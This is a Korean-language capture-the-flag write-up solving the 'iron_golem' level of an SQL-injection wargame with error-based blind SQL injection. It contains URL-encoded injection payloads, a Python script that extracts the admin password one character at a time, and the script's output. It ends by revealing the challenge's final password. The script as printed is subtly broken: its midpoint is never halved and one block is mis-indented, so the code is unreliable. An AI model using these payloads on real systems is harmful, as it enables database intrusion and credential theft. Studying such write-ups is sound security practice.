iron_golem

이 문제는 SQL 쿼리문을 변조해도 브라우저에 출력되는 값이 없기 때문에 오류를 유발시켜 이를 기반으로 Blind SQLi를 수행해 볼 수 있다.
(여기서 조건은 sleep(), BENCHMARK() 함수를 사용하지 않고 다른 방법을 이용해야 한다는 것이다.)


  • 먼저 ORDER BY 절을 통해 조회된 행의 컬럼 수를 확인한다.
select id from prob_iron_golem where id='admin' and pw='' OR 1=1 ORDER BY 1-- '


ORDER BY 절에는 컬럼명을 대신하여 숫자를 사용할 수 있는데, 이 부분에 IF 함수를 사용해서 임의의 조건문을 설정할 수 있다.

  • 조건이 거짓일 때는 UNION 절이 실행되어 조회되는 행의 수가 2개가 된다.
  • 이 때, 단일 값이 필요한 위치에 다중 행을 반환하는 서브쿼리를 사용하여 오류 메시지가 발생한다.
  • 이를 이용하면 응답 값의 변화에 따른 Blind SQL Injection 이 가능하다.
# ?pw=' OR IF({조건문}, {조건문 참일 때 리턴값}, {조건문 거짓일 때 리턴값})
https://los.rubiya.kr/chall/iron_golem_beb244fe41dd33998ef7bb4211c56c75.php?pw=%27%20OR%20IF(1=1,1,(SELECT%201%20UNION%20SELECT%202))%23


admin 계정의 패스워드 바이트 길이는 32바이트로 확인되었다.
( IF 함수의 조건문이 참이면 (SELECT 1 UNION SELECT 2) 가 실행되어 오류가 발생하므로, 이를 토대로 Blind SQLi 공격 가능하다. )

(공격 페이로드) ' OR id='admin' AND IF(LENGTH(pw)=32, (SELECT 1 UNION SELECT 2), 0)#
https://los.rubiya.kr/chall/iron_golem_beb244fe41dd33998ef7bb4211c56c75.php?pw=%27%20OR%20id=%27admin%27%20AND%20IF(LENGTH(pw)=32,%20(SELECT%201%20UNION%20SELECT%202),%200)%23


패스워드 추출에 사용된 자동화 스크립트는 아래와 같다.
이전과 동일하게 이진 탐색 알고리즘을 사용하여 멀티바이트 값도 빠르게 정상 추출 가능하도록 했다.

import requests
 
t_url = 'https://los.rubiya.kr/chall/iron_golem_beb244fe41dd33998ef7bb4211c56c75.php'
cookie = {'PHPSESSID' : 'COOKIE_VALUE'}
password = ''
numValue = ''
 
for i in range(1,33):
    low = 1
    high = 200000
    while low <= high:
        mid = (low + high)
        payload = (
            f"?pw=%27%20OR%20id=%27admin%27%20AND%20IF(ORD(SUBSTR(pw,{i},1))<{mid},1,(SELECT%201%20UNION%20SELECT%202))%23"
        )  
        
        r = requests.get(t_url + payload, cookies=cookie)
        if "Subquery returns" in r.text:
            low = mid + 1
        else:
            high = mid - 1
 
       if low > high:
            decimal = high  # 실제 문자코드 확정
            password = password + chr(decimal)
            numValue = numValue + str(decimal)
            print(f"Extracted admins password : \n\t[+] {decimal}\n\t[+] {password}")
            break
            
'''실행 결과
Extracted admins password : 
        [+] 48
        [+] 0
Extracted admins password : 
        [+] 54
        [+] 06
Extracted admins password : 
        [+] 98
        [+] 06b
[ . . . ]
Extracted admins password : 
        [+] 56
        [+] 06b5a6c16e8830475f983cc3a8
'''

추출한 패스워드 입력하면 문제 풀이 성공!이다.

https://los.rubiya.kr/chall/iron_golem_beb244fe41dd33998ef7bb4211c56c75.php?pw=06b5a6c16e8830475f983cc3a825ee9a

🐛.. 🐛.. 🐛..